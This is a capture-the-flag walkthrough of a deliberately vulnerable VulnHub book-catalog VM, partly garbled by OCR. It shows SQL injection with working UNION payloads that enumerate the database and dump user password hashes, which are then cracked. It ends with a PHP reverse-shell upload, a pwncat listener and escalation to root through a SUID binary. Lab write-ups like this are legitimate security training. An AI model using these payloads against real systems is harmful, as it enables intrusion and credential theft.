

Port 80

- 1. Signup
- 2. Login
- 3. It is a book finder webpage,
 - probably uses sql

4. Check if it is SQLinjectable

9. Intruder attack of 192.168.1.4 - Temporary attack - Not saved to project file

Attack Save Columns

Results Target Positions Payloads Resource Pool Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
29	' or 0=0 #	200			2286	
35	" or 1--"	200			2286	
39	' or 1=1 or ''='	200			2286	
0		200			1391	
1	'	200			1391	
2	"	200			1391	
3	#	200			1391	
4	-	200			1391	
5	--	200			1391	
6	'%20--	200			1391	
7	--';	200			1391	
8	'%20;	200			1391	
9	--%20'	200			1391	
10	--%20;	200			1391	

Request Response

Pretty Raw Hex Render

40

<td> Book ID </td>

41

<td> Book Title </td>

42

<td> Cost </td>

43

</tr><tr><td>1</td><td>Anonymous Hackers TTP</td><td>50 SGD</td></tr><tr><td>2</td><td>CISSP Guide</td><td>80 SGD</td></tr><tr><td>3</td><td>Security+</td><td>30 SGD</td></tr><tr><td>4</td><td>Practical WebApp Hacking</td><td>45 SGD</td></tr><tr><td>5</td><td>All about Kali Linux</td><td>20 SGD</td></tr><tr><td>6</td><td>Linux OS</td><td>10 SGD</td></tr><tr><td>7</td><td>Windows OS</td><td>10 SGD</td></tr><tr><td>8</td><td>IoT Exploitation</td><td>190 SGD</td></tr><tr><td>9</td><td>ZigBee Wireless Hacking</td><td>90 SGD</td></tr><tr><td>10</td><td>JTAG UART Hardware Hacking</td><td>50 SGD</td></tr><tr><td>11</td><td>Container Breakout</td><td>40 SGD</td></tr><tr><td>12</td><td>OSCP/OSCE Guide</td><td>240 SGD</td></tr><tr><td>13</td><td>CREST CRT</td><td>40 SGD</td></tr><tr><td>14</td><td>Creating your vulnerable VM</td><td>88 SGD</td></tr><tr><td>15</td><td>OSINT</td><td>48 SGD</td></tr>

Search...

0 matches

- SQLinjectable

search=anon' or 0=0#

- This means that another statement can be inserted

5. Check via ORDER BY

```
search=anon ORDER BY 1
search=anon ORDER BY 2
search=anon ORDER BY 3
```

- does not seem to work

6. Check via UNION select

```
search=anon' UNION SELECT 1 #
search=anon' UNION SELECT 1,2 #
search=anon' UNION SELECT 1,2,3 #
search=anon' UNION SELECT 1 --
search=anon' UNION SELECT 1,2 --
search=anon' UNION SELECT 1,2,3 --
```

- Why `anon'`
 - To comment out the SQL code, insert our own statement
- Why `#`
 - To comment out further SQL code
- Hypothesis

```
$user_input = $_GET['title']
$sql = SELECT book_id, book_title, book_cost FROM book_table
WHERE book_title LIKE '%$user_input' MORE SQL CODE...

# What it looks like:
$sql = SELECT book_id, book_title, book_cost FROM book_table
WHERE book_title LIKE '%anon' UNION SELECT 1,2,3 #' MORE SQL
CODE ... (Invalidated because #)
```

13. Intruder attack of 192.168.1.4 - Temporary attack - Not saved to project file

Attack Save Columns

Results Target Positions Payloads Resource Pool Options

Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: Sniper

```

1 POST /welcome.php HTTP/1.1
2 Host: 192.168.1.4
3 Content-Length: 11
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.1.4
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/95.0.4638.54 Safari/537.36 OPR/81.0.4196.31
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,
  application/signed-exchange;v=b3;q=0.9
10 Referer: http://192.168.1.4/welcome.php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: PHPSESSID=033rq0se9dedsh5r1vdq9nok8
14 Connection: close
15
16 search=anon' sanon$

```

0 matches

1 payload position

Length: 672

13. Intruder attack of 192.168.1.4 - Temporary attack - Not saved to project file

Attack Save Columns

Results Target Positions Payloads Resource Pool Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
63	UNION ALL SELECT 1,2,3--	200			1434	
33	UNION ALL SELECT 1,2,3#	200			1434	
61	UNION ALL SELECT 1--	200			1391	
62	UNION ALL SELECT 1,2--	200			1391	
64	UNION ALL SELECT 1,2,3,4--	200			1391	
65	UNION ALL SELECT 1,2,3,4,5--	200			1391	
66	UNION ALL SELECT 1,2,3,4,5,6--	200			1391	
67	UNION ALL SELECT 1,2,3,4,5,6,7--	200			1391	
68	UNION ALL SELECT 1,2,3,4,5,6,7,8--	200			1391	
69	UNION ALL SELECT 1,2,3,4,5,6,7,8,9--	200			1391	
70	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--	200			1391	
71	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10...	200			1391	
72	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10...	200			1391	
73	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10...	200			1391	

Request Response

Pretty Raw Hex Render \n

```

36 </form>
37 </br>
38 <table border='1' cellspacing='3' align='center' cellpadding='4'>
39   <tr>
40     <td> <font face='Arial'>Book ID</font> </td>
41     <td> <font face='Arial'>Book Title</font> </td>
42     <td> <font face='Arial'>Cost</font> </td>
43   </tr><tr><td>1</td><td>2</td><td>3 S0D</td></tr>
44 </body>
45 </html>
46

```

0 matches

85 of 419

- We can tell that 3 is reflected

SQL, mapping out the database

1. Check via ORDER BY

```
search=anon ORDER BY 1
search=anon ORDER BY 2
search=anon ORDER BY 3
```

- does not seem to work

2. Check via UNION select

```
search=anon' UNION SELECT 1 #
search=anon' UNION SELECT 1,2 #
search=anon' UNION SELECT 1,2,3 #
search=anon' UNION SELECT 1 --
search=anon' UNION SELECT 1,2 --
search=anon' UNION SELECT 1,2,3 --
```

3. Since we know 3 is reflected

The screenshot shows the Burp Suite interface. At the top, the title bar reads "13. Intruder attack of 192.168.1.4 - Temporary attack - Not saved to project file". Below this is a menu bar with "Attack", "Save", and "Columns". A toolbar contains "Results", "Target", "Positions", "Payloads", "Resource Pool", and "Options". A filter bar says "Filter: Showing all items".

The main table lists HTTP history items. The selected item (row 33) has the following details:

Request	Payload	Status	Error	Timeout	Length	Comment
63	UNION ALL SELECT 1,2,3--	200	<input type="checkbox"/>	<input type="checkbox"/>	1434	
33	UNION ALL SELECT 1,2,3#	200	<input type="checkbox"/>	<input type="checkbox"/>	1434	
61	UNION ALL SELECT 1--	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
62	UNION ALL SELECT 1,2--	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
64	UNION ALL SELECT 1,2,3,4--	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
65	UNION ALL SELECT 1,2,3,4,5--	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
66	UNION ALL SELECT 1,2,3,4,5,6--	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
67	UNION ALL SELECT 1,2,3,4,5,6,7--	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
68	UNION ALL SELECT 1,2,3,4,5,6,7,8--	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
69	UNION ALL SELECT 1,2,3,4,5,6,7,8,9--	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
70	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
71	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10...	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
72	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10...	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	
73	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10...	200	<input type="checkbox"/>	<input type="checkbox"/>	1391	

Below the table, the "Request" and "Response" tabs are visible. The "Response" tab is active, showing the raw content of the selected request (row 33). The response is an HTML table with the following structure:

```
</form>
<br>
<table border='1' cellspacing='3' align='center' cellpadding='4'>
  <tr>
    <td> <font face='Arial'>Book ID</font> </td>
    <td> <font face='Arial'>Book Title</font> </td>
    <td> <font face='Arial'>Cost</font> </td>
  </tr>
  <tr>
    <td>1</td>
    <td>2</td>
    <td>3 SQD</td>
  </tr>
</body>
</html>
```

4. Determine the database

```
search=anon' UNION SELECT 1,2,database()#
```

Request

```
1 POST /welcome.php HTTP/1.1
2 Host: 192.168.1.4
3 Content-Length: 41
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.1.4
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/95.0.4638.54 Safari/537.36 OPR/81.0.4196.31
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=
  0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://192.168.1.4/welcome.php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: PHPSESSID=033rq0se9deddht5r1vdq9nok8
14 Connection: close
15
16 search=anon' UNION SELECT 1,2,database()#
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Fri, 26 Nov 2021 20:50:11 GMT
3 Server: Apache/2.4.34 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Vary: Accept-Encoding
8 Content-Length: 1344
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11
12
13 <!DOCTYPE html>
14 <html lang=en>
15 <head>
16   <meta charset=UTF-8>
17   <title>Welcome</title>
18   <link rel=stylesheet href=
  https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css>
19   <style type=text/css>
20     body{ font: 14px sans-serif; text-align: center; }
21   </style>
22 </head>
23 <body>
24   <div class=page-header>
25     <h1>Hi, <div>testtest</div>. Welcome to our online Book Catalog.</h1>
26   <p>
27     <a href=reset-password.php' class=btn btn-warning>Reset Your Pa
28     <a href=logout.php' class=btn btn-danger>Sign Out of Your Account</a>
29   </p>
30   </div>
31   <form method=POST' action=welcome.php>
32     Search for your favourite book title
33     <input type=text' name=search>
34     <input type=submit' value=search>
35   </form>
36 </div>
37 <table border=1' cellpadding=3' align=center' cellspacing=4>
38   <tr>
39     <td> <font face=Arial>Book ID</font> </td>
40     <td> <font face=Arial>Book Title</font> </td>
41     <td> <font face=Arial>Cost</font> </td>
42   </tr><tr><td>1</td><td>2</td><td><div>webapphacking SDC</div></tr>
43 </tbody>
44 </html>
45
```

- Database: webapphacking

5. Determine tables in the database(webapphacking)

```
search=anon' UNION SELECT 1,2,group_concat(table_name) FROM
information_schema.tables WHERE table_schema='webapphacking' #
```

Request

```
1 POST /welcome.php HTTP/1.1
2 Host: 192.168.1.4
3 Content-Length: 121
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.1.4
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/95.0.4638.54 Safari/537.36 OPR/81.0.4196.31
9 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=
  0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://192.168.1.4/welcome.php
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: PHPSESSID=033rq0se9deddht5r1vdq9nok8
14 Connection: close
15
16 search=anon' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE
  table_schema='webapphacking' #
```

Response

```
1 HTTP/1.1 200 OK
2 Date: Fri, 26 Nov 2021 20:52:37 GMT
3 Server: Apache/2.4.34 (Ubuntu)
4 Expires: Thu, 19 Nov 1981 08:52:00 GMT
5 Cache-Control: no-store, no-cache, must-revalidate
6 Pragma: no-cache
7 Vary: Accept-Encoding
8 Content-Length: 1342
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11
12
13 <!DOCTYPE HTML>
14 <html lang=en>
15 <head>
16   <meta charset=UTF-8>
17   <title>Welcome</title>
18   <link rel=stylesheet href=
  http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css>
19   <style type=text/css>
20     body{ font: 14px sans-serif; text-align: center; }
21   </style>
22 </head>
23 <body>
24   <div class=page-header>
25     <h1>Hi, <div>testtest</div>. Welcome to our online Book Catalog.</h1>
26   <p>
27     <a href=reset-password.php' class=btn btn-warning>Reset Your Password</a>
28     <a href=logout.php' class=btn btn-danger>Sign Out of Your Account</a>
29   </p>
30   </div>
31   <form method=POST' action=welcome.php>
32     Search for your favourite book title
33     <input type=text' name=search>
34     <input type=submit' value=search>
35   </form>
36 </div>
37 <table border=1' cellpadding=3' align=center' cellspacing=4>
38   <tr>
39     <td> <font face=Arial>Book ID</font> </td>
40     <td> <font face=Arial>Book Title</font> </td>
41     <td> <font face=Arial>Cost</font> </td>
42   </tr><tr><td>1</td><td>2</td><td><div>books,users SDC</div></tr>
43 </tbody>
44 </html>
45
```

- Tables in webapphacking database:

- books
- user

6. Determine columns in 'users' table

```
search=anon' UNION SELECT 1,2,group_concat(column_name) FROM
information_schema.columns WHERE table_name='users' #
```

Request	Response
<pre>1 POST /welcome.php HTTP/1.1 2 Host: 192.168.1.4 3 Content-Length: 113 4 Cache-Control: max-age=0 5 Upgrade-Insecure-Requests: 1 6 Origin: http://192.168.1.4 7 Content-Type: application/x-www-form-urlencoded 8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 OPN/61.0.4196.31 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q= 0.8,application/signed-exchange;v=b3;q=0.9 10 Referer: http://192.168.1.4/welcome.php 11 Accept-Encoding: gzip, deflate 12 Accept-Language: en-US,en;q=0.9 13 Cookie: PHPSESSID=033rq0se9edeh5r5vldqgn08 14 Connection: close 15 16 search=anon' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='users' #</pre>	<pre>1 HTTP/1.1 200 OK 2 Date: Fri, 26 Nov 2021 20:55:52 GMT 3 Server: Apache/2.4.34 (Ubuntu) 4 Expires: Thu, 19 Nov 1981 08:52:00 GMT 5 Cache-Control: no-store, no-cache, must-revalidate 6 Pragma: no-cache 7 Vary: Accept-Encoding 8 Content-Length: 1202 9 Connection: close 10 Content-Type: text/html; charset=UTF-8 11 12 13 14 <!DOCTYPE html> 15 <html lang="en"> 16 <head> 17 <meta charset="UTF-8"> 18 <title>Welcome</title> 19 <link rel="stylesheet" href=" https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css"> 20 21 <style type="text/css"> 22 body{ font: 14px sans-serif; text-align: center; } 23 </head> 24 <body> 25 <div class="page-header"> 26 <h1>Hi, testtest. Welcome to our online Book Catalog.</h1> 27 28 <p> 29 Reset Your Password 30 Sign Out of Your Account 31 </div> 32 <form method="POST" action="welcome.php"> 33 Search for your favourite book title 34 <input type="text" name="search"/> 35 <input type="submit" value="search"> 36 </form> 37 </br> 38 <table border="1" cellpadding="3" align="center" cellspacing="4"> 39 <tr> 40 <td>Book ID</td> 41 <td>Book Title</td> 42 <td>Cost</td> 43 </tr><tr><td></td><td><td></td></tr> 44 </body> 45 </html> 46</pre>

- Columns in table: **users**
 - USER
 - CURRENT_CONNECTIONS
 - TOTAL_CONNECTIONS
 - id
 - user
 - password
 - name
 - address

7. Determine wanted values in table: **users**

- Failed initially BECAUSE is password instead of password
- Remember to remove information_schema.columns

```
search=anon' UNION SELECT 1,2,group_concat(user,";",password)
FROM users #
```

Request	Response
<pre> 1 POST /welcome.php HTTP/1.1 2 Host: 192.168.1.4 3 Content-Length: 79 4 Cache-Control: max-age=0 5 Upgrade-Insecure-Requests: 1 6 Origin: http://192.168.1.4 7 Content-Type: application/x-www-form-urlencoded 8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4639.54 Safari/537.36 QHW/01.0.4196.31 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 10 Referer: http://192.168.1.4/welcome.php 11 Accept-Encoding: gzip, deflate 12 Accept-Language: en-US,en;q=0.9 13 Cookie: PHPSESSID=0397q9wdsddsdh5tr5vdgmok0 14 Connection: close 15 16 search=manon' UNION SELECT 1,2,group_concat(user,'*',password) FROM users # </pre>	<pre> 1 HTTP/1.1 200 OK 2 Date: Fri, 26 Nov 2021 21:08:35 GMT 3 Server: Apache/2.4.34 (Ubuntu) 4 Expires: Thu, 19 Nov 1981 08:52:00 GMT 5 Cache-Control: no store, no cache, must-revalidate 6 Pragma: no-cache 7 Vary: Accept-Encoding 8 Content-Length: 1507 9 Content: close 10 Content-Type: text/html; charset=UTF-8 11 12 13 14 <!DOCTYPE html> 15 <html Lang=en*> 16 <head> 17 <meta charset="UTF-8"> 18 <title>Welcome/>title> 19 <link rel="stylesheet" href=" https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.css"> 20 <style type="text/css"> 21 body font: 14px sans-serif; text-align: center; } 22 </style> 23 </head> 24 <body> 25 26 <div class="page-header"> 27 <div>Hi, <div>test</div> Welcome to our online Book Catalog.</div> 28 <p> 29 Reset Your Password 30 Sign out of Your Account 31 </p> 32 </div> 33 <form method="POST" action="/welcome.php"> 34 Search for your favourite book title 35 <input type="text" name="search"/> 36 <input type="submit" value="search"/> 37 </form> 38 <table border="1" cellspacing="3" align="center" cellpadding="4"> 39 <tr> 40 <td>Book ID</td> 41 <td>Book Title</td> 42 <td>author</td> 43 </tr><tr><td></td><td></td><td></td> 44 user1:5d41402abc4b2a76b9719d911017c592,user2:6269cf4f71a55b24bad0f0267d9be5508,user3:0f359740bd1cda994f8b55330c86d845,test:05a671c66ae124cc08b76ea6d30bb,dida994f8b55330c86d845,test:05a671c66ae124cc08b76ea6d30bb,superadmin:2386acb2cf356944177746fc92523983, 45 bangsai:ec6bb422804f9c6b6f4febd8c14c2232 46 </tr> 47 </table> 48 </html> 49 </pre>

- Table: **users**
 - Columns: username+pasword

user1:5d41402abc4b2a76b9719d911017c592

user2:6269cf4f71a55b24bad0f0267d9be5508

user3:0f359740bd1cda994f8b55330c86d845

test:05a671c66ae124cc08b76ea6d30bb

superadmin:2386acb2cf356944177746fc92523983

test1:05a671c66ae124cc08b76ea6d30bb

testtest:05a671c66ae124cc08b76ea6d30bb

bangsai:ec6bb422804f9c6b6f4febd8c14c2232

Crack the hashes

- Use [crackstation](#) ☑

Hash	Type	Result
5d41402abc4b2a76b9719d911017c592	md5	hello
6269cf4f71a55b24bad0f0267d9be5508	md5	commando
0f359740bd1cda994f8b55330c86d845	md5	p@ssw0rd
05a671c66ae124cc08b76ea6d30bb	md5	testtest
2386acb2cf356944177746fc92523983	md5	Uncrackable
05a671c66ae124cc08b76ea6d30bb	md5	testtest

05a671c66aefea124cc08b76ea6d30bb
ec6bb422804f9c6b6f4febd8c14c2232

md5 testtest
md5 bangsai

Login with superadmin

1. superadmin:Uncrackable
2. Upload a reverse-shell
 - it says select image but php files can be uploaded
3. Execute our reverse shell by visiting /uploads/shell.php
4. Shell obtained

```
(root👁kali)-[~/vulnHub/hackme]
# pwncat --listen --port 4444
[05:28:03] Welcome to pwncat 🐼!
[05:28:49] received connection from 192.168.1.4:48820
[05:28:49] 0.0.0.0:4444: upgrading from /bin/dash to /bin/bash
192.168.1.4:48820: registered new host w/ db
(local) pwncat$
(remote) www-data@hackme:/$ whoami
www-data
```

Privilege Escalation

1. Path to legacy
2. Execute touch me not
3. Root shell obtained

```
(remote) www-data@hackme:/home/legacy$ ls
touchmenot
(remote) www-data@hackme:/home/legacy$ ./touchmenot
root@hackme:/home/legacy#
```